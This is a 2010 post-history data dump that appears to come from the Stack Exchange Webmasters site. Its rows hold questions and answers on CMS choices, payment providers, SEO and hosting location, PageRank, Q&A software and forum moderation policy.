  <row Id="2665" PostHistoryTypeId="2" PostId="1473" RevisionGUID="f40fe6db-175c-46ca-937b-760a2a52930a" CreationDate="2010-07-22T13:19:55.640" UserId="914" Text="I would vouch for [Umbraco.][1] It's not called the &quot;friendly CMS&quot; for nothing. I've built a lot of sites in it and it's very flexible and, importantly, client's tend to like it as it's intuitive and simple to use.&#xD;&#xA;&#xD;&#xA;On top of that it's also open-source, free and has a great and active [community][2]. It's also powerful - for instance, Microsoft use it to power the official [ASP.NET website][3] (check the footer).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://umbraco.org/&#xD;&#xA;  [2]: http://our.umbraco.org/&#xD;&#xA;  [3]: http://www.asp.net/" />
  <row Id="2666" PostHistoryTypeId="16" PostId="1473" RevisionGUID="f40fe6db-175c-46ca-937b-760a2a52930a" CreationDate="2010-07-22T13:19:55.640" UserId="-1" />
  <row Id="2667" PostHistoryTypeId="2" PostId="1474" RevisionGUID="d49009a6-42c9-4ef0-b3d1-7c2fe91664b4" CreationDate="2010-07-22T13:22:39.267" UserId="55" Text="I've yet to find a single third party analytics that comes close to agreeing with my server side statistics. I can't imagine the confusion of trying to reconcile two third party analytics to my local logs.&#xD;&#xA;&#xD;&#xA;Its not as bad as it used to be, but google-analytics still slows down pages from time to time. I've yet to meet a service that didn't.&#xD;&#xA;&#xD;&#xA;I can't imagine the benefit of using two, but I would venture to say it might be sometimes problematic.&#xD;&#xA;&#xD;&#xA;Its a bit of a pain and sometimes time consuming, but reconciling Google Analytics with my local stats usually gives me a very clear picture. I'd recommend trying that first." />
  <row Id="2668" PostHistoryTypeId="2" PostId="1475" RevisionGUID="23d79659-29ff-458f-a1b5-fcd037d10b23" CreationDate="2010-07-22T13:26:10.820" UserId="923" Text="Let's say I'm making a site similar to e-bay. Which payment provider should I use as of today?" />
  <row Id="2669" PostHistoryTypeId="1" PostId="1475" RevisionGUID="23d79659-29ff-458f-a1b5-fcd037d10b23" CreationDate="2010-07-22T13:26:10.820" UserId="923" Text="Which payment provider, such as PayPal, should I use for marketplace style site?" />
  <row Id="2670" PostHistoryTypeId="3" PostId="1475" RevisionGUID="23d79659-29ff-458f-a1b5-fcd037d10b23" CreationDate="2010-07-22T13:26:10.820" UserId="923" Text="&lt;payments&gt;" />
  <row Id="2671" PostHistoryTypeId="2" PostId="1476" RevisionGUID="1465e189-b1f0-4d29-a198-5b3fa58b58d3" CreationDate="2010-07-22T13:28:45.213" UserId="914" Text="I'd just create an XML sitemap conforming to the http://www.sitemaps.org/ protocol which is supported by all the major search engines (including Google, Yahoo and Bing). No need for anything else." />
  <row Id="2672" PostHistoryTypeId="2" PostId="1477" RevisionGUID="a5f28c6b-862b-4a65-bc99-667276700e71" CreationDate="2010-07-22T13:34:39.847" UserId="108" Text="[Shopify][1] is a good shopping cart site.  They have a comprehensive list of payment processors, [here][2], that can be used on any site, not just theirs.  I think your question is very broad though and I don't know what your goal is.  I think you should look into the providers below and which one fits you needs the best.&#xD;&#xA;&#xD;&#xA;That being said, paypal is one of the best payment providers as far as rates go.  I have heard that people have fraud issues with them sometimes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; - http://www.authorize.net/ - Authorize.net&#xD;&#xA; - http://www.beanstream.com - Beanstream&#xD;&#xA; - http://www.braintreepaymentsolutions.com - Braintree&#xD;&#xA; - http://www.cardstream.com/ - CardStream&#xD;&#xA; - http://www.cybersource.com/ - CyberSource&#xD;&#xA; - http://www.datacash.com/ - DataCash&#xD;&#xA; - http://www.e-xact.com/ - E-xact&#xD;&#xA; - http://www.concordefsnet.com/ - Efsnet&#xD;&#xA; - http://www.elavon.com/ - Elavon MyVirtualMerchant&#xD;&#xA; - http://www.instapayllc.com - InstaPAY&#xD;&#xA; - http://www.linkpoint.com/ - Linkpoint&#xD;&#xA; - http://merchantwarehouse.com/merchantware - MerchantWARE by Merchant Warehouse&#xD;&#xA; - http://www.modpay.com - Modern Payments&#xD;&#xA; - http://www.moneris.com/ - Moneris&#xD;&#xA; - https://www.nelixtransax.com/ - NELiX TransaX&#xD;&#xA; - http://www.netbilling.com - NETbilling&#xD;&#xA; - http://www.netregistry.com.au - NetRegistry&#xD;&#xA; - http://www.ogone.com/ - Ogone DirectLink&#xD;&#xA; - http://www.paymentsolutionsltd.com/ - PSL Payment Solutions&#xD;&#xA; - http://www.payjunction.com/ - PayJunction&#xD;&#xA; - https://www.paypal.com/cgi-bin/webscr?cmd=_payflow-pro-overview-outside - PayPal Payflow Pro&#xD;&#xA; - https://www.paypal.com/cgi-bin/webscr?cmd=_wp-pro-overview-outside - PayPal Website Payments Pro (CA)&#xD;&#xA; - https://www.paypal.com/uk/cgi-bin/webscr?cmd=_wp-pro-overview-outside - PayPal Website Payments Pro (UK)&#xD;&#xA; - https://www.paypal.com/cgi-bin/webscr?cmd=_wp-pro-overview-outside - PayPal Website Payments Pro (US)&#xD;&#xA; - http://www.commsecure.com.au/paysecure.shtml - PaySecure&#xD;&#xA; - http://www.paymentexpress.com/ - PaymentExpress&#xD;&#xA; - http://www.plugnpay.com/ - Plug'n Pay&#xD;&#xA; - http://www.psigate.com/ - Psigate&#xD;&#xA; - http://quickpay.dk/ - Quickpay&#xD;&#xA; - http://www.realexpayments.com/ - Realex&#xD;&#xA; - http://www.sagepayments.com - Sage Payment Solutions&#xD;&#xA; - http://www.sagepay.com/ - SagePay&#xD;&#xA; - http://www.securepay.com/ - SecurePay&#xD;&#xA; - http://securepay.com.au/ - SecurePay (Australia)&#xD;&#xA; - http://www.securepaytech.com/ - SecurePayTech&#xD;&#xA; - http://www.skipjack.com/ - Skip Jack&#xD;&#xA; - http://transfirst.com - TransFirst&#xD;&#xA; - http://www.trustcommerce.com/ - Trust Commerce&#xD;&#xA; - http://www.usaepay.com/ - USA ePay&#xD;&#xA; - http://www.verifi.com/ - Verifi&#xD;&#xA; - http://www.viaklix.com - ViaKLIX&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.shopify.com/&#xD;&#xA;  [2]: http://www.shopify.com/faq/#third-party-processors" />
  <row Id="2673" PostHistoryTypeId="2" PostId="1478" RevisionGUID="2d54fc81-d9cf-4cff-a4e4-47f38d2f846b" CreationDate="2010-07-22T13:41:57.317" UserId="960" Text="Our core business is based in the UK and our public website is also hosted in the UK.  We're considering leaving our current hosting provider and moving the website to an EC2 instance, using the EU data centre based in Ireland.&#xD;&#xA;&#xD;&#xA;I have heard that hosting a site in a different country to the core business can have a detrimental effect on SEO.  Is there any truth in this?  " />
  <row Id="2674" PostHistoryTypeId="1" PostId="1478" RevisionGUID="2d54fc81-d9cf-4cff-a4e4-47f38d2f846b" CreationDate="2010-07-22T13:41:57.317" UserId="960" Text="SEO implications of hosting a UK-based site on an EC2 instance based in Ireland" />
  <row Id="2675" PostHistoryTypeId="3" PostId="1478" RevisionGUID="2d54fc81-d9cf-4cff-a4e4-47f38d2f846b" CreationDate="2010-07-22T13:41:57.317" UserId="960" Text="&lt;seo&gt;&lt;web-hosting&gt;" />
  <row Id="2676" PostHistoryTypeId="2" PostId="1479" RevisionGUID="8ea07519-35be-43d1-88ec-72193dac7f6c" CreationDate="2010-07-22T13:42:11.700" UserDisplayName="Astaldaran" Text="There is of course a third option, you could use a less &quot;heavy&quot; CMS like [MODX][1] this would allow you the option of not having to re-invent the wheel of all the standard cms stuff (user management, document management, etc) while giving you an easy flexible environment to make your own code.  I have used a number of CMS' and they all have their niche's but if you want something that is easy to develop for and light enough that you can understand it without weeks of digging (some of the CMS systems are truly powerful beasts...something you probably don't need for a personal website). MODX is basically built for just the type of thing you want to do, it gives you a core of features and then you add your own to it.  Plus people do share their code, so you find snippets, modules, etc that others have used.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://modxcms.com/" />
  <row Id="2677" PostHistoryTypeId="5" PostId="1475" RevisionGUID="97e9022a-2ca6-4678-8eda-2662747723e6" CreationDate="2010-07-22T13:43:14.833" UserId="923" Comment="more detail" Text="Let's say I'm making a site similar to e-bay (connecting buyers and sellers). Which payment provider should I use as of today?" />
  <row Id="2678" PostHistoryTypeId="2" PostId="1480" RevisionGUID="b3eab528-fb90-4ada-be23-da4dbd2b5abe" CreationDate="2010-07-22T14:04:59.367" UserId="868" Text="**[Google Analytics in Depth: Goals and Funnels][1]**&#xD;&#xA;from `Six Revisions`&#xD;&#xA;&#xD;&#xA;  [1]: http://sixrevisions.com/tools/google-analytics-in-depth-goals-and-funnels/" />
  <row Id="2679" PostHistoryTypeId="2" PostId="1481" RevisionGUID="e4e78d7a-9653-4615-bc43-a030f194df65" CreationDate="2010-07-22T14:08:29.250" UserId="868" Text="**[10 Promising Free Web Analytics Tools][1]**&#xD;&#xA;from `Six Revisions`&#xD;&#xA;&#xD;&#xA;  [1]: http://sixrevisions.com/usabilityaccessibility/10-promising-free-web-analytics-tools/" />
  <row Id="2680" PostHistoryTypeId="2" PostId="1482" RevisionGUID="75fa23ae-e688-4446-8521-67b6fb581366" CreationDate="2010-07-22T14:18:32.143" UserId="868" Text="**Blog into Book** @ http://webapps.stackexchange.com/questions/1618/how-to-turn-a-blog-into-a-book" />
  <row Id="2681" PostHistoryTypeId="2" PostId="1483" RevisionGUID="1712b255-713b-4c5c-814f-78e05f1ac691" CreationDate="2010-07-22T14:37:18.697" UserId="711" Text="It depends :-). Google uses a number of factors for geotargeting ( http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html ), they include the TLD (are you using a .co.uk or a gTLD like .com?), the Webmaster Tools setting (for gTLDs), the hosting location (that would be what you're asking about) and a bunch of other factors. &#xD;&#xA;&#xD;&#xA;If you're using a ccTLD like .co.uk, then you've pretty much covered it and the location of your hosting doesn't really matter (this is, I believe, valid for the other large search engines as well). If you're using a gTLD like .com, then I'd recommend using Google's Webmaster Tools to set geotargeting (I don't know what other search engines supply). Either way would allow you to host your site anywhere that is convenient to you.&#xD;&#xA;&#xD;&#xA;Another factor to keep in mind (and one of the reasons that hosting location is used) is that the hosting location can sometimes influence the speed at which users are able to access your site. If, for instance, most of your users were in China and your site were hosted in Ireland, it might be that these users would experience your site as being slower than a site hosted in their country. I imagine this is not an issue in your case though. " />
  <row Id="2682" PostHistoryTypeId="5" PostId="695" RevisionGUID="0bd9f9eb-cc06-4bfb-b88e-1e923fbf1f4b" CreationDate="2010-07-22T14:49:48.060" UserId="62" Comment="added 115 characters in body; edited tags" Text="While qualifying eMail for Spam, Hotmail/Live checks the historical records of numbers of eMails sent by a sender (FROM, eMail Server, IP, etc.). Some times, perfectly valid bulk eMails that are not Spam, (i.e. double opt-in list, from a server with proper SPF Record, signed with DKIM, unregister links and contact info, etc.) are rejected and not delivered to destinataries. Not even to their Junk folder.&#xD;&#xA;&#xD;&#xA;I guess we can avoid this situation by progressivelly &quot;training&quot; Hotmail/Live about the reputation of our sender and sending small quantyties of eMails innitially and increasing the quantity for some amount/percentaje during each delivery.&#xD;&#xA;&#xD;&#xA;Are there guidelines or do you have any experience on these quantities, strategy, solutions?&#xD;&#xA;&#xD;&#xA;Thank you in advance.&#xD;&#xA;&#xD;&#xA;EDIT: This question with a bounty is still unanswered. 8 hours to be automatically awarded! Do you have the answer?" />
  <row Id="2683" PostHistoryTypeId="6" PostId="695" RevisionGUID="0bd9f9eb-cc06-4bfb-b88e-1e923fbf1f4b" CreationDate="2010-07-22T14:49:48.060" UserId="62" Comment="added 115 characters in body; edited tags" Text="&lt;spam&gt;&lt;email&gt;&lt;bulk-email&gt;&lt;hotmail&gt;&lt;live&gt;" />
  <row Id="2684" PostHistoryTypeId="5" PostId="1299" RevisionGUID="83c6d5a4-715b-43fe-8056-d7dbddd013bc" CreationDate="2010-07-22T14:56:30.057" UserId="745" Comment="added 2836 characters in body" Text="As a general rule of thumb, I would moderate in keeping with how you want your website to be perceived. For example, if you have a business website, it may not be in your best interests to allow profanity or crude humor in your forums. Ultimately, you're responsible for what appears on your website, either by what you create or what you allow, and the perception of your site will reflect your policies.&#xD;&#xA;&#xD;&#xA;**Edit**: In response to your added questions, again, it depends on what you're comfortable allowing. In some people's eyes, though not everyone's, what you allow on your site could be considered tacit approval. There are a few ways this could be handled:&#xD;&#xA;&#xD;&#xA; 1. Promote an open atmosphere and&#xD;&#xA;    clearly state that the views&#xD;&#xA;    presented by users don't necessarily&#xD;&#xA;    represent those of the website. Only&#xD;&#xA;    curtail the most egregious&#xD;&#xA;    instances.&#xD;&#xA; 2. Keep the site strictly on-topic only&#xD;&#xA;    and moderate any and everything&#xD;&#xA;    off-topic. You haven't mentioned&#xD;&#xA;    what your site is about, but&#xD;&#xA;    depending on the community, it might&#xD;&#xA;    be easiest to simply ban political&#xD;&#xA;    discussion. Part of this is in how&#xD;&#xA;    your site is organized. If you have&#xD;&#xA;    a forum, simply don't create a&#xD;&#xA;    political sub-forum. If you allow&#xD;&#xA;    social bookmarking with comments,&#xD;&#xA;    don't create a category for&#xD;&#xA;    politics. Look at how StackOverflow&#xD;&#xA;    is designed - How easy is it to have&#xD;&#xA;    a political discussion there?&#xD;&#xA; 3. Somewhere in between. You allow open&#xD;&#xA;    discussion...to a point. You could&#xD;&#xA;    post this very same list of&#xD;&#xA;    questions as examples of discussions&#xD;&#xA;    or questions that go over the line.&#xD;&#xA;&#xD;&#xA;However you go about doing it, I would make it clear from the beginning what is allowed and what isn't. It's important that you have something to point to for consistency's sake. The community will adjust itself around your rules. &#xD;&#xA;&#xD;&#xA;You had asked in the comments if I was using this myself. Again, not on my site yet, but I do help moderate a popular webmaster forum. There is a politics section there and we generally moderate it according to the third method I mentioned. It does get heated sometimes, but for the most part, people behave themselves. We have had to ban a few people, though. Our policy is usually to give a warning first (unless it's really bad), then a temporary ban, then a permanent ban. There are a few members that like to push the boundaries, but we keep an eye on them and as long as they don't go too far, they are generally tolerated.&#xD;&#xA;&#xD;&#xA;Honestly, spam is a far bigger problem than hate speech, and the forum I help moderate has very low tolerance for it. The serial spammers will be obvious and they get an instant ban. Some people get a warning if it looks like they unknowingly did something spammy (there are actually a lot of these). We edit a lot of posts as well. Again, it's important to clearly and prominently post your policies. If you don't moderate consistently in regards to spam, word will spread and you will get more of it, especially if you have high PageRank (Adobe in particular has been a glaring example of this). In addition to aggressively moderating spam, I'd recommend either not allowing links or no-following all user submitted links." />
  <row Id="2685" PostHistoryTypeId="5" PostId="1299" RevisionGUID="92b04937-34c3-4911-9fbe-36c346965366" CreationDate="2010-07-22T15:03:46.043" UserId="745" Comment="added 422 characters in body" Text="As a general rule of thumb, I would moderate in keeping with how you want your website to be perceived. For example, if you have a business website, it may not be in your best interests to allow profanity or crude humor in your forums. Ultimately, you're responsible for what appears on your website, either by what you create or what you allow, and the perception of your site will reflect your policies.&#xD;&#xA;&#xD;&#xA;**Edit**: In response to your added questions, again, it depends on what you're comfortable allowing. In some people's eyes, though not everyone's, what you allow on your site could be considered tacit approval. There are a few ways this could be handled:&#xD;&#xA;&#xD;&#xA; 1. Promote an open atmosphere and&#xD;&#xA;    clearly state that the views&#xD;&#xA;    presented by users don't necessarily&#xD;&#xA;    represent those of the website. Only&#xD;&#xA;    curtail the most egregious&#xD;&#xA;    instances.&#xD;&#xA; 2. Keep the site strictly on-topic only&#xD;&#xA;    and moderate any and everything&#xD;&#xA;    off-topic. You haven't mentioned&#xD;&#xA;    what your site is about, but&#xD;&#xA;    depending on the community, it might&#xD;&#xA;    be easiest to simply ban political&#xD;&#xA;    discussion. Part of this is in how&#xD;&#xA;    your site is organized. If you have&#xD;&#xA;    a forum, simply don't create a&#xD;&#xA;    political sub-forum. If you allow&#xD;&#xA;    social bookmarking with comments,&#xD;&#xA;    don't create a category for&#xD;&#xA;    politics. Look at how StackOverflow&#xD;&#xA;    is designed - How easy is it to have&#xD;&#xA;    a political discussion there?&#xD;&#xA; 3. Somewhere in between. You allow open&#xD;&#xA;    discussion...to a point. You could&#xD;&#xA;    post this very same list of&#xD;&#xA;    questions as examples of discussions&#xD;&#xA;    or questions that go over the line.&#xD;&#xA;&#xD;&#xA;However you go about doing it, I would make it clear from the beginning what is allowed and what isn't. It's important that you have something to point to for consistency's sake. The community will adjust itself around your rules. &#xD;&#xA;&#xD;&#xA;You had asked in the comments if I was using this myself. Again, not on my site yet, but I do help moderate a popular webmaster forum. There is a politics section there and we generally moderate it according to the third method I mentioned. It does get heated sometimes, but for the most part, people behave themselves. We have had to ban a few people, though. Our policy is usually to give a warning first (unless it's really bad), then a temporary ban, then a permanent ban. There are a few members that like to push the boundaries, but we keep an eye on them and as long as they don't go too far, they are generally tolerated.&#xD;&#xA;&#xD;&#xA;Honestly, spam is a far bigger problem than hate speech, and the forum I help moderate has very low tolerance for it. The serial spammers will be obvious and they get an instant ban. Some people get a warning if it looks like they unknowingly did something spammy (there are actually a lot of these). We edit a lot of posts as well. Again, it's important to clearly and prominently post your policies. If you don't moderate consistently in regards to spam, word will spread and you will get more of it, especially if you have high PageRank (Adobe in particular has been a glaring example of this). In addition to aggressively moderating spam, I'd recommend either not allowing links or no-following all user submitted links.&#xD;&#xA;&#xD;&#xA;In the end, you'll have to make a decision for how you want your site to be perceived and how you want your community to function. It's important to keep in mind, however, that internet communities aren't democracies - they're governed by the rules set forth by the site owners, administrators, and moderators. Unlimited free speech is not a fundamental right on any website, so it's up to you if you want to allow it." />
  <row Id="2686" PostHistoryTypeId="5" PostId="1381" RevisionGUID="01cce7fb-d61a-4073-b122-3b1ea11c9dac" CreationDate="2010-07-22T15:25:03.350" UserId="480" Comment="added 4 characters in body" Text="There are two main classes of books for the overarching design (**from a Webmasters perspective**), those on Web Architecture/Scalability and those on organising information. I can recommend these books:&#xD;&#xA;&#xD;&#xA;**Web Architecture**&#xD;&#xA;&#xD;&#xA; - [Web Application Architecture:&#xD;&#xA;   Principles, Protocols and Practices][1]&#xD;&#xA;&#xD;&#xA; - [The Art of Scalability: Scalable Web Architecture, Processes and Organizations for the Modern Enterprise][2]&#xD;&#xA;&#xD;&#xA;**Information Architecture**&#xD;&#xA;&#xD;&#xA; - [Information Architecture for the&#xD;&#xA;   World Wide Web: Designing Large-Scale&#xD;&#xA;   Web Sites][3]&#xD;&#xA;   &#xD;&#xA; - [Information Architecture: Blueprints&#xD;&#xA;   for the Web (Voices That Matter)][4]&#xD;&#xA;&#xD;&#xA;The Beautiful series (Beautiful Data/Code/Architecture/Security/Visualisation) are worth a look - for ideas but not reference.&#xD;&#xA;&#xD;&#xA;With regards to good website design (beyond information display) there are many books on usability/design available. Personally I like the &quot;Head First&quot; O'Reilly series, but it is a love/hate with my colleges, who prefer paperbacks from specific artists or HCI (Human Computer Interface) textbooks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webappbuilders.com/&#xD;&#xA;  [2]: http://my.safaribooksonline.com/9780137031436&#xD;&#xA;  [3]: http://oreilly.com/catalog/9780596000356&#xD;&#xA;  [4]: http://www.peachpit.com/store/product.aspx?isbn=0321591984" />
  <row Id="2687" PostHistoryTypeId="10" PostId="1366" RevisionGUID="3ef8ae68-0b96-4b5e-a78f-6cb84d895fbc" CreationDate="2010-07-22T15:30:55.443" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;},{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;},{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;},{&quot;Id&quot;:155,&quot;DisplayName&quot;:&quot;Kinopiko&quot;},{&quot;Id&quot;:19,&quot;DisplayName&quot;:&quot;jessegavin&quot;}]" />
  <row Id="2688" PostHistoryTypeId="2" PostId="1484" RevisionGUID="d04ec2a0-ffe8-491c-8804-af5e2e1e1eb7" CreationDate="2010-07-22T15:31:44.600" UserId="965" Text="I need to launch a Q &amp; A site same like this as soon as possible. I am looking for free software that is easy to install and easy to customize. &#xD;&#xA;i know some wordpress Answer templaes like this one http://templatic.com/cms-themes/answers&#xD;&#xA;but they are not free and I am not sure how it will work.&#xD;&#xA;If anyone has any idea, please reply to it." />
  <row Id="2689" PostHistoryTypeId="1" PostId="1484" RevisionGUID="d04ec2a0-ffe8-491c-8804-af5e2e1e1eb7" CreationDate="2010-07-22T15:31:44.600" UserId="965" Text="I need a free Q &amp; A software to use for Launching a Q &amp; A site" />
  <row Id="2690" PostHistoryTypeId="3" PostId="1484" RevisionGUID="d04ec2a0-ffe8-491c-8804-af5e2e1e1eb7" CreationDate="2010-07-22T15:31:44.600" UserId="965" Text="&lt;wordpress&gt;&lt;site-deployment&gt;&lt;free&gt;" />
  <row Id="2691" PostHistoryTypeId="2" PostId="1485" RevisionGUID="4db049d7-3354-4551-9b19-9782459fc3d3" CreationDate="2010-07-22T15:35:58.423" UserId="287" Text="Check out [Stacked][1], an open source implementation of a Q&amp;A site like Stack Overflow.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/stacked/" />
  <row Id="2692" PostHistoryTypeId="6" PostId="1401" RevisionGUID="b68ae33f-4f81-4962-b030-ca06daeb4b8e" CreationDate="2010-07-22T15:56:11.053" UserId="132" Comment="edited tags" Text="&lt;javascript&gt;&lt;web-development&gt;&lt;mvc&gt;&lt;architecture&gt;" />
  <row Id="2693" PostHistoryTypeId="2" PostId="1486" RevisionGUID="277da688-d0a9-436b-b1d4-2e56afc854e3" CreationDate="2010-07-22T16:02:18.430" UserId="55" Text="[OSQA][1] is also a nice implementation and is relatively easy to get up and running. What I don't like about it is how close it is to SE sites as far as design. &#xD;&#xA;&#xD;&#xA;This is also GPL, so its free as in freedom and free as in free beer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.osqa.net/" />
  <row Id="2694" PostHistoryTypeId="2" PostId="1487" RevisionGUID="c4f11d5c-9757-4aa0-a1b0-bd74d345d14c" CreationDate="2010-07-22T16:03:56.730" UserId="967" Text="How can I check pagerank of all pages of a website wihtout installing any tool on my machine?" />
  <row Id="2695" PostHistoryTypeId="1" PostId="1487" RevisionGUID="c4f11d5c-9757-4aa0-a1b0-bd74d345d14c" CreationDate="2010-07-22T16:03:56.730" UserId="967" Text="How to check pagerank of all pages of a website?" />
  <row Id="2696" PostHistoryTypeId="3" PostId="1487" RevisionGUID="c4f11d5c-9757-4aa0-a1b0-bd74d345d14c" CreationDate="2010-07-22T16:03:56.730" UserId="967" Text="&lt;pagerank&gt;&lt;website&gt;" />
  <row Id="2697" PostHistoryTypeId="2" PostId="1488" RevisionGUID="62802b48-dd06-41c6-9201-78ff7fb41161" CreationDate="2010-07-22T16:55:49.670" UserId="745" Text="I honestly wouldn't bother doing it all. The publicly available [toolbar PageRank is only one of 200+ factors][1] Google uses and it doesn't necessarily reflect where your page will appear on the search results pages. It's not updated very frequently either (every few months), while the actual search results are updated daily. At best, it's a not very useful barometer of how Google views your site. &#xD;&#xA;&#xD;&#xA;Beyond just basic SEO best practices, you're far better off focusing on improving your website's usability, content, and actual conversions once people get to it than by wasting time checking PageRank constantly. It's important to remember the purpose of your website's existence. If it's to make you money, focus on improving that, not on improving PageRank. PageRank doesn't directly make you money. If you're concerned about getting more traffic, use social media or advertising. PageRank doesn't directly bring you more traffic.&#xD;&#xA;&#xD;&#xA;All that said, this might be what you're looking for if you want to [waste your time][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sphinn.com/story/74952#c54521&#xD;&#xA;  [2]: http://pagerank.bthomson.com/" />
  <row Id="2698" PostHistoryTypeId="5" PostId="1486" RevisionGUID="1893b85e-e349-4415-a82d-29c17de11a3b" CreationDate="2010-07-22T17:10:06.903" UserId="55" Comment="added 198 characters in body" Text="[OSQA][1] is also a nice implementation and is relatively easy to get up and running. What I don't like about it is how close it is to SE sites as far as design. Granted, its hard to come up with a better interface, but hopefully you make your's a little more unique :)&#xD;&#xA;&#xD;&#xA;This is also GPL, so its free as in freedom and free as in free beer.&#xD;&#xA;&#xD;&#xA;Its written in Python/Django and should work even on the most basic shared web hosting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.osqa.net/" />
  <row Id="2699" PostHistoryTypeId="2" PostId="1489" RevisionGUID="bcb8bac6-1860-4e97-8640-652e11025f70" CreationDate="2010-07-22T17:17:21.680" UserId="233" Text="Since you are using PHP/MySQL, I'd recommend [Question2Answer][1]. I've used it and I really like it. Although the default interface isn't as polished as Stack Overflow, it's still better than the other PHP Q&amp;A apps I've seen.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.question2answer.org/" />
  <row Id="2700" PostHistoryTypeId="5" PostId="1488" RevisionGUID="1fd0048d-28de-45f4-8e34-e528d6789f93" CreationDate="2010-07-22T17:20:11.270" UserId="745" Comment="added 803 characters in body; added 298 characters in body" Text="I honestly wouldn't bother doing it all. The publicly available [toolbar PageRank is only one of 200+ factors][1] Google uses and it doesn't necessarily reflect where your page will appear on the search results pages. It's not updated very frequently either (every few months), while the actual search results are updated daily. At best, it's a not very useful barometer of how Google views your site. &#xD;&#xA;&#xD;&#xA;Beyond just basic SEO best practices, you're far better off focusing on improving your website's usability, content, and actual conversions once people get to it than by wasting time checking PageRank constantly. It's important to remember the purpose of your website's existence. If it's to make you money, focus on improving that, not on improving PageRank. PageRank doesn't directly make you money. If you're concerned about getting more traffic, use social media or advertising. PageRank doesn't directly bring you more traffic. &#xD;&#xA;&#xD;&#xA;At the end of the day, PageRank probably can be improved and manipulated, but if that's your primary focus, what is the point? Your only reward for hours or days of work is a bigger green bar. &#xD;&#xA;&#xD;&#xA;*Focus on what matters, PageRank will take care of itself.*&#xD;&#xA;&#xD;&#xA;All that said, this might be what you're looking for if you want to [waste your time][2].&#xD;&#xA;&#xD;&#xA;**Edit** in response to DisgruntledGoat's comment:&#xD;&#xA;&#xD;&#xA;Agreed. The publicly available PageRank isn't the same as the internal ranking. I'm not sure why Google even keeps it available. The internal PageRank is what actually ranks the pages, but the only way to check that is to see where your site is on the actual search results page. Checking the results themselves every once in a while isn't completely useless, but it fluctuates from day to day or even hour to hour, so you can easily drive yourself crazy doing that too frequently. &#xD;&#xA;&#xD;&#xA;In my opinion, it's far more useful, time-efficient, and cost-effective to focus on on-site SEO, marketing, advertising. After all that, however, if your page doesn't get your visitors to do what you want them to do, what the page was designed for, all the other effort was time and money wasted.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sphinn.com/story/74952#c54521&#xD;&#xA;  [2]: http://pagerank.bthomson.com/" />
  <row Id="2701" PostHistoryTypeId="2" PostId="1490" RevisionGUID="83b73f0d-1c96-470e-9832-ff246333675b" CreationDate="2010-07-22T17:30:04.997" UserId="879" Text="I use wordpress with the P2 theme as a closed family social network were everybody can &quot;tweet&quot; what they are up to. Nice for keeping track of my siblings and nephews..." />
  <row Id="2706" PostHistoryTypeId="2" PostId="1492" RevisionGUID="802b74cb-e953-4493-b03e-d7797e217bb9" CreationDate="2010-07-22T19:24:33.053" UserId="963" Text="I started a WordPress child theme linked to the twentyten theme (no customizations yet) and noticed the menu does not seem to work properly in the child theme.&#xD;&#xA;&#xD;&#xA;If I switch to the twentyten parent theme, I see just the menu items I added; when I switch to the my twentyten child theme, I don't see my menu but rather all the pages are listed.&#xD;&#xA;&#xD;&#xA;Is there something I need to do in my child theme to get the menus working or is this a problem with the parent twentyten theme?&#xD;&#xA;" />
  <row Id="2707" PostHistoryTypeId="1" PostId="1492" RevisionGUID="802b74cb-e953-4493-b03e-d7797e217bb9" CreationDate="2010-07-22T19:24:33.053" UserId="963" Text="How do I get menus working with a twentyten child theme?" />
  <row Id="2708" PostHistoryTypeId="3" PostId="1492" RevisionGUID="802b74cb-e953-4493-b03e-d7797e217bb9" CreationDate="2010-07-22T19:24:33.053" UserId="963" Text="&lt;wordpress&gt;" />
  <row Id="2709" PostHistoryTypeId="2" PostId="1493" RevisionGUID="bec69e13-0a50-43a5-abb7-4027272874f1" CreationDate="2010-07-22T19:53:32.220" UserId="236" Text="This is dependent on the type of website and community, but my general rule of thumb is that user content should be something that adds value to the site. If something is rude or offensive and is adding nothing to discussion, then there is no reason to keep it around." />
  <row Id="2710" PostHistoryTypeId="2" PostId="1494" RevisionGUID="f67cc0b9-3b7a-4b5f-b3f1-79b53637de65" CreationDate="2010-07-22T19:56:31.930" UserDisplayName="Mayel" Text="You really can build on WordPress to do whatever you want. &#xD;&#xA;&#xD;&#xA;And unlike many other open-source tools, you hardly every need to hack the core, so you don't have to worry when it comes to updating.&#xD;&#xA;&#xD;&#xA;You simply use plugins (and create your own, using its great *hooks &amp; filters* architecture).&#xD;&#xA;&#xD;&#xA;And it even works as a MVC framework, by combining the new *custom post types* with *custom fields* (and the [add_meta_box][1] function, to customize the editing screens). It's great for rapid development, as you get a built-in powerful yet user-friendly back-office.&#xD;&#xA;&#xD;&#xA;Just some examples of what I've used WordPress for :&#xD;&#xA;&#xD;&#xA; - countless custom corporate-type (non-blog) websites&#xD;&#xA; - user profiles/accounts&#xD;&#xA; - blog/podcast/video hosting platform (before WPMU existed)&#xD;&#xA; - blog/podcast/video aggregator and directory&#xD;&#xA; - mass-mailing tool&#xD;&#xA; - e-commerce&#xD;&#xA; - hotel/resort availability and booking system&#xD;&#xA;&#xD;&#xA;  [1]: http://codex.wordpress.org/Function_Reference/add_meta_box" />
